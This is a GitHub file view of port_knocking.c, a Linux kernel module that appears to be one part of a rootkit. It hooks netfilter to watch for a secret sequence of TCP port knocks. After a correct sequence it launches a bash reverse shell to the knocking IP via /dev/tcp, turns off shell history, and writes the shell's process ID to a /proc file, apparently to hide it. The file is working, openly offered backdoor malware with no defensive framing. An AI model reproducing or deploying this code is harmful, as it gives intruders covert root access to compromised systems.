-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathport_knocking.c
128 lines (97 loc) · 2.99 KB
/
port_knocking.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#include "port_knocking.h"
static int knocking_ports[KNOCK_LENGTH] = KNOCK_PORTS;
struct knocker
{
int knocking_counter;
u32 ipv_addr;
};
struct nf_hook_ops netf_port_knock;
struct knocker current_knocker;
struct semaphore knocker_sem;
static char bash_command[80];
static void exec_command(struct work_struct *w);
DECLARE_WORK(exec_work, exec_command);
static void exec_command(struct work_struct *w)
{
char *argv[] = { "/bin/bash", "-c", bash_command, NULL};
char *env[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
"HISTFILE=/dev/null", NULL };
call_usermodehelper(argv[0], argv, env, UMH_WAIT_EXEC);
}
void exec_reverse_shell(u32 ip_addr)
{
sprintf(bash_command, "echo hide$$ > /proc/%s && bash -i >& /dev/tcp/%d.%d.%d.%d/%d 0>&1",
PROCFILE_NAME, (u8)ip_addr >> 0, (u8)(ip_addr >> 8), (u8)(ip_addr >> 16), (u8)(ip_addr >> 24), RPORT);
schedule_work(&exec_work);
}
int knockable_port_index(int port)
{
int i;
for (i = 0; i < KNOCK_LENGTH; i ++)
if (port == knocking_ports[i])
return i;
return -1;
}
void set_current(u32 ip_addr, int port_index)
{
down(&knocker_sem);
current_knocker.ipv_addr = ip_addr;
current_knocker.knocking_counter = port_index;
up(&knocker_sem);
}
void check_knock(int port_index, u32 ip_addr)
{
if (current_knocker.ipv_addr == ip_addr)
{
if (port_index == current_knocker.knocking_counter + 1)
{
down(&knocker_sem);
current_knocker.knocking_counter ++;
up(&knocker_sem);
if (current_knocker.knocking_counter == KNOCK_LENGTH - 1)
{
FM_INFO("Port knock successful from %d.%d.%d.%d\n", (u8)ip_addr >> 0, (u8)(ip_addr >> 8), (u8)(ip_addr >> 16), (u8)(ip_addr >> 24));
exec_reverse_shell(ip_addr);
set_current(0, 0);
}
}
else
set_current(ip_addr, -1);
}
else if (port_index == 0)
set_current(ip_addr, port_index);
}
unsigned int netf_hook_fn(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct iphdr *ip_header;
struct tcphdr *tcp_header;
int port_index;
ip_header = ip_hdr(skb);
if (!ip_header || ip_header->protocol != IPPROTO_TCP)
return NF_ACCEPT;
tcp_header = tcp_hdr(skb);
port_index = knockable_port_index(ntohs(tcp_header->dest));
if (port_index == -1)
return NF_ACCEPT;
check_knock(port_index, ip_header->saddr);
return NF_ACCEPT;
}
int port_knocking_init(void)
{
sema_init(&knocker_sem, 1);
netf_port_knock.hook = netf_hook_fn;
netf_port_knock.hooknum = NF_INET_LOCAL_IN;
netf_port_knock.pf = PF_INET;
netf_port_knock.priority = NF_IP_PRI_FIRST;
if (nf_register_net_hook(&init_net, &netf_port_knock) < 0)
return 1;
return 0;
}
int port_knocking_clean(void)
{
nf_unregister_net_hook(&init_net, &netf_port_knock);
return 0;
}